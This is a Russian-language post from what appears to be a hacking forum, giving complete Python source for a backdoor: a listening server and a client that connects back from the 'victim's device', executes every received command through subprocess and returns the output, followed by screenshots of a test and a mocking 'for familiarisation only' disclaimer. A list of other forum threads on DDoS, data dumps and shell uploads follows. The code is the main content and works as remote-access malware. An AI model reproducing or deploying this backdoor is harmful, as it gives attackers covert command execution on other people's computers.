Интересно Клинет-сервер на Python3 на примере бэкдора

Eteriass

Original poster
Pro Member
Сообщения
93
Реакции
181
Посетить сайт
Привет ребятки. Вместе с природой очистилось и мое сознание, настолько, что я вспомнил пароль> А так как последняя тема вроде как была с бэкдором из метасплоита на питоне, мы сегодня воссоздадим этот самый бэкдор и глянем таки, шо у него внутри. Погнали
1640684936029.png

Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :
1640685059569.png
Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера

Python:
# Импортируем модуль для работы с сокетами

import socket

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "0.0.0.0" 
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket()  #Создаем экземпляр классa socket
s.bind((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу bind наш айпи и порт
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Повторное использование IP-адреса и порта
s.listen(5) #Начинаем слушать
print(f"Слушаем {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept() #Принимаем подключение
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()#Декодируем байтовую строку
print("Рабочий каталог :", cwd)

#Начинамем бесконечный цикл, в котором отправляем команду нашему клиенту, который находиться на устройстве жертвы
#Получаем вывод команды, декодируем и вывдоим, и так до тех пор, пока мы не ввели команду "exit"
while True:
    command = input(f"{cwd} $> ")
    if not command.strip():
        continue
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    output = client_socket.recv(BUFFER_SIZE).decode('utf-8')
    print("Вывод :", output)
    results, cwd = output.split(SEPARATOR)
    print(results)

#Отключаем клиента и закрываем сокет
client_socket.close()
s.close()

И клиент:
Python:
# Импортируем модуль для работы с сокетами
# Модуль для работы с операционной системой
# Модуль для запуска процессов из питона
import socket
import os
import subprocess

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "localhost"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket() #Создаем экземпляр классa socket
s.connect((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу connect айпи и порт нашего сервера
cwd = os.getcwd() #Получаем адрес каталога, в котором находимся
s.send(cwd.encode()) #Отправляем адрес серверу


#Начинаем бесконечный цикл, в котором получаем команду от сервера и исполняем
while True:
    command = s.recv(BUFFER_SIZE).decode()
    #Разделяем команду по разделителю, который мы создали раньше
    splited_command = command.split(SEPARATOR)
    if command.lower() == "exit": #если получаенная команда, это "exit", выходим из цикла и закрываем подключение
        break
    if "cd " in command: #Если "слово" cd присутствует в нашей команде
        try:
            """
            Удаляем "cd"
            меняем каталог на тот, который указан в строке
            """
            directory = str(command).replace('cd ', '').strip()
            os.chdir(str(directory))
        except FileNotFoundError as e: #если файл не найден, передаем ошибку
            output = str(e)
        else:
            output = "" #Если ни один из исключений не произошел, переопределяем вывод в пустую строку
    else: #А если это не команда "cd", просто исполняем эту команду и возвращаем вывод
        output = subprocess.getoutput(command)
    cwd = os.getcwd() #Получаем рабочий каталог
    message = f"{output}{SEPARATOR}{cwd}" #Формируем наш ответ серверу
    s.send(message.encode()) #Отправляем

#Если цикл прерван, закрываем сокет
s.close()

Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии
1640689782979.png

Как видим команды выполняются, исполним еще несколько:
1640689822869.png
И, все как видим в порядке.

Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...

P.s. Ну куда же мы без дисклеймера :)

На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)

P.p.s Если лень переписывать, файлы найдете

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
Название темы
Автор Заголовок Раздел Ответы Дата
W Бесплатный сервер VPS за 5 минут Раздача (аккаунтов/ключей) 2
Tania1212 Создал Discord сервер где будет моя музыка … Видео/Музыка 1
АнАлЬнАя ЧуПаКаБрА INLINE GTA 5 Чекер на rp сервер Проекты Private Keeper 0
Admin Интересно Дамп mc-magicstore.ru (Русский minecraft сервер) Другое 0
Admin Интересно Jabber сервер ufolabs.im Информация по работе сайта и форума 3
A Взломали архивный сервер Pale Moon Новости в сети 0
Tania1212 Продам Продаю сервер работающий под Android приложение на тематику анонимного чата Сайты/Хостинг/Сервера 0
K Можно ли взломать сервер… Вопросы и интересы 6
T Open Server - портативный локальный сервер Другие ЯП 0
K Как настроить почтовый сервер для обхода спам-фильтров: руководство по DNS, SPF, DKIM Уязвимости и взлом 0
V Как поднять dns-сервер Полезные статьи 1
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
G XAMPP - Web-сервер Полезные статьи 0
S Как делать DDos/Dos атаки через VDS сервер Spam/DDOS/Malware 0
I За сколько сольете мне DB Майнкрафт сайта(рашин сервер)) Полезные статьи 0
Admin Хакеры взломали dns-сервер сервиса blackwallet и похитили $400 тыс. в криптовалюте Новости в сети 0
Allen Запускаем собственный VPN-сервер на SSD VDS Полезные статьи 0
K Как взломать сервер андроид приложения? Вопросы и интересы 3
K Как открыть CS 1.6 сервер ? Вопросы и интересы 1
S Чекер базы на паблик и отправка привата на сервер Вопросы и интересы 6
Support81 Романтика поддельная, деньги настоящие: четыре преступные группы обманули одиноких россиян на 9,8 млн Новости в сети 0
Support81 Кто за кулисами крипторынка: тайные игроки, влияющие на стоимость монет Новости в сети 0
Support81 ИИ-атаки на подъёме: почему 2024 год стал переломным для кибербезопасности Новости в сети 0
Support81 Data Ransom: шантаж выделился в самостоятельный сервис на черном рынке данных Новости в сети 0
Support81 Двойники Telegram захватили сеть: миллион пользователей на крючке Новости в сети 0
Support81 Сбой на ключевом интернет-узле в Москве: что произошло? Новости в сети 0
Support81 Заморозка помощи США лишила жертв работорговли в Азии надежды на спасение Новости в сети 0
Support81 Вакансии есть, специалистов нет: кризис на рынке информационной безопасности Новости в сети 0
Support81 INC Ransom: киберпреступная элита, которая держит весь мир на крючке Новости в сети 0
Support81 Ковровые бомбардировки в сети: DDoS-атаки выросли на 268% Новости в сети 0
Support81 Скамеры дуреют с этой прикормки: как секретный токен ФБР вывел мошенников на чистую воду Новости в сети 0
W На каких форумов сливают?? Вопросы и интересы 2
Support81 Банды программ-вымогателей выдают себя за ИТ-поддержку в фишинговых атаках на Microsoft Teams Новости в сети 0
Support81 ChatGPT вместо мозгов: школьники массово переходят на ChatGPT Новости в сети 0
Support81 Российские хакеры заработали 158 000 000 на поиске уязвимостей Новости в сети 0
Support81 12 недель на решение: как Великобритания планирует побороть кибервымогательство Новости в сети 0
wrangler65 Интересно Как сэкономить до 70% на переводах USDT TRC-20 через энергию Полезные статьи 0
A Продам уязвимость на temu.com, reflected xss, срочно Уязвимости и взлом 5
turbion0 В Хабаровске директор турфирмы обманула 40 клиентов на 11 миллионов рублей. Новости в сети 0
Support81 10 миллионов россиян совершали переводы на карты дропперов Новости в сети 0
Support81 Жертвы жадности: как работает новая схема кражи криптовалют на YouTube Новости в сети 0
Support81 Лица на распродаже: как утечки данных помогают хакерам обходить проверки личности Новости в сети 0
Support81 Генеративный ИИ на службе зла: как тысячи вирусов избегают обнаружения Новости в сети 0
Support81 Миллионы на ставках: дети в ловушке Roblox-казино Новости в сети 0
Support81 Восточный фронт: Cloud Atlas запускает масштабную кибератаку на Россию Новости в сети 0
Support81 Счета под контролем МВД: 10 дней без суда на блокировку денег граждан Новости в сети 0
Support81 ИИ на службе кибермошенников: ФБР предупреждает о новых угрозах Новости в сети 0
turbion0 В Барнауле мошенница продала поддельную красную икру почти на 1,5 млн рублей Новости в сети 0
Support81 DDoS на заказ: как Matrix монетизирует крупнейшую ботнет-сеть через Telegram Новости в сети 0
Support81 Важно!!! Лучшая новость на сегодня Новости в сети 0

Название темы